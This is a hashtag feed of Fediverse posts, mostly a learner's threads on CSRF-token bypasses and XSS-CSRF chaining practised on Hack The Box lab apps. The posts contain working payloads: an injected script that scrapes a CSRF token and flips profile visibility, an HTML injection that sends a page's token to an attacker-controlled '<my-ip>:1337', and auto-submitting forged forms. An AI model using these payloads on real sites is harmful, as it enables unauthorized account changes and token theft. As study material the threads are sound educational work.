#crosssiterequestforgery — Public Fediverse posts

70,000 WordPress Sites Exposed by Inspiro Theme Security Flaw https://thecyberexpress.com/csrf-flaw-cve-2025-8592/ #CrossSiteRequestForgery #TheCyberExpressNews #Vulnerabilities #TheCyberExpress #WordPresstheme #FirewallDaily #CVE20258592 #CyberNews #Inspiro

Alrighty, thanks for joining in on this thread! We will see us in the next one - I'll be spending the next hour trying to move my old notes to my public notes 🌟

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

A little overview of protection bypasses

| Type | Explanation | Example |
| -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Null Value | Just leave the token Empty, Sometimes Server just checks for the headers | CSRF-Token: |
| Random CSRF Token | Recreate a fake token with random values | Real:

CSRF-Token: 9cfffd9e8e78bd68975e295d1b3d3331

Fake:

CSRF-Token: 9cfffl3dj3837dfkj3j387fjcxmfjfd3 |
| Use another Session's CSRF Token | Create multiple accounts and try the csrf token of Account A for a Request of Account B | - |
| Request Method Tampering | Change the request type from. GET to POST | Original

http<br>POST /change_password<br>POST body:<br>new_password=pwned&confirm_new=pwned<br>

Fake

http<br>GET /change_password?new_password=pwned&confirm_new=pwned<br> |
| Delete token | Just remove the token in general. Do not send token (it may work) | |
| Session Fixation | If website keeps anti-csrf token in cookie and params, it probably isn't keeping the token on the server so just fix your token | http<br>POST /change_password<br>Cookie: CSRF-Token=fixed_token;<br>POST body:<br>new_password=pwned&CSRF-Token=fixed_token<br> |
| Regex Bypass | You can try to bypass Regex checks for website whitelists etc... | www.google.com.pwned.zanidd.xyz or something like that |

Don't know how good mastodon handles markdown tables, but you can see it at https://notes.zanidd.xyz/cybersecurity-and-hacking/web/session-security a little better.

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

Also let's not forget that weak csrf tokens happen also (very often?)

• Try to find how tokens are generated (i.e. md5(username) we could verify check that by logging in and seeing our csrf tokens)

Check for the following and similar "token generation algorithms":

• md5(username)
• sha1(username)
• md5(current date + username)

This can be done with a simple bash command:

echo -n <username> | md5sum

etc...

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

Most of the script above is to replicate the request, if you're familiar with js it shouldn't be that hard/surprising and I'm sure burp has some kind of feature or extension to convert a request into JavaScript Code.

But the interesting part (for me at least) is this line:

var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];

This line parses the html of the website that is currently open and matches a regex-like expression. This expression looks for a line with the attributes name=csrf and type=hiden and extracts the value: our csrf token.

So even if it's randomly generated, we can get it :blackblob:

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

In order to execute this request, we have to "smuggle" this JS Code into the website (using xss):

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/change-visibility',true);
req.send();
function handleResponse(d) {
    var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/app/change-visibility', true);
    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    changeReq.send('csrf='+token+'&action=change');
};
</script

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

So let's see how this app makes our profile public - by just playing around and making our profile public and sending the generated traffic to burp

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

But before we hack away, we have to consider what we want to hack. In this example, we will use the exploit to make private profiles public - fancy.

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

Essentially, we store the CSRF payload/attack on the website using XSS

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

To illustrate this technique we have a webapp that features same origin/same site protections as well as anti-csrf measures, but is vulnerable to an XSS attack.

#xss #csrf #hacking #cybersecurity #crosssiterequestforgery #crosssitescripting #pentesting

In todays episode of "let's spam my timeline with what I'm learning":

#xss and #csrf or more concrete: XSS & CSRF Chaining.

If you missed the last couple of threads about session security, you can check them out here: https://infosec.exchange/@h_ackerman/112762434910128402

Or read up on them in my public learning notes: https://notes.zanidd.xyz/cybersecurity-and-hacking/web/session-security

So, let's start.

1/? 🧵

#hacking #cybersecurity #csrf #crosssiterequestforgery #xss #crosssitescripting #pentesting

Thanks for joining in on my Thread. You can read all about session security (AFAIK) in my public notes here: https://notes.zanidd.xyz/cybersecurity-and-hacking/web/session-security

If you want to see some "IRL" live hacking, you should check out my YouTube channel where I upload videos of/live stream myself hacking into (retired) HTB machines: https://www.youtube.com/channel/UCGISJ8ZHkmIv1CaoHovK-Xw

(Currently I'm hacking into a #wordpress website)

#hacking #cybersecurity #csrf #crosssiterequestforgery

The fun thing is: This works on https, with httponly cookies, etc.. etc... etc...

It could even work with/circumvent the SameOrigin policies.

#hacking #cybersecurity #csrf #crosssiterequestforgery

If we want to get the anti-csrf token from a POST-Based request, we would need to find a way to expoit i.e. an XSS injection to pass the token.

For example:

When editing the data, we can pass in an xss/html injection into one of the fields and if the resulting html contains the token we can then send it to our server.

Injection:

<table%20background='%2f%2f<my-ip>:1337%2f

Resulting HTML:

<table%20background='%2f%2f<my-ip>:1337%2f<div input name="csrf" value="token" ....

We send the entire html incl. token to our server as a get request and get the token :)

#hacking #cybersecurity #csrf #crosssiterequestforgery

If the mechanism is bad - we can reuse the token multiple times

If it's ~ fine ~ we can only use the token for a set amount of time

if the mechanism is good - we can only use the token one time

(btw, by "we" I mean of course an attacker... "we" would never do something like that (in case the FBI is watching))

#hacking #cybersecurity #csrf #crosssiterequestforgery

So this time we create a GET based form on our website and include the "sniffed"/"captured" token into it:

<html>
  <body>
    <form id="submitMe" action="http://csrf.htb.net/app/save/[email protected]" method="GET">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="csrf" value="30e7912d04c957022a6d3072be8ef67e52eda8f2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>

#hacking #cybersecurity #csrf #crosssiterequestforgery

(Also notice the csrf=f2338ae28cc559666f3064b5243fd2404b0218c6 token)

#hacking #cybersecurity #csrf #crosssiterequestforgery

Little reminder: GET Requests usually have the data transmitted in the URL:

/app/save/[email protected]?telephone=%28834%29-609-2003&country=United+States&csrf=f2338ae28cc559666f3064b5243fd2404b0218c6&email=julie.rogers%40example.com&action=save

And you can see the data in the browser history as well as when intercepting (unencrypted) traffic.

GET Requests are designed to - wait for it - GET DATA!

Not for manipulation

Not for updating

Not for deleting

Only for reading - please use it correctly :)

#hacking #cybersecurity #csrf #crosssiterequestforgery

We were able to do this on a post-request because there were no protection mechanisms like an Anti-CSRF Token.

But how about a GET-based CSRF Attack?

#hacking #cybersecurity #csrf #crosssiterequestforgery

After creating this website we can host it with

python -m http.server 1337

And if our victim visits our website it will change the values to what we have set:

#hacking #cybersecurity #csrf #crosssiterequestforgery

So all an attacker has to do (if no csrf protection like tokens are in place) is to copy paste the form onto a malicious website like so (thanks HTB).

Which will give us the following "malicious" website:

<html>
  <body>
    <form id="submitMe" action="http://xss.htb.net/api/update-profile" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>

#hacking #cybersecurity #csrf #crosssiterequestforgery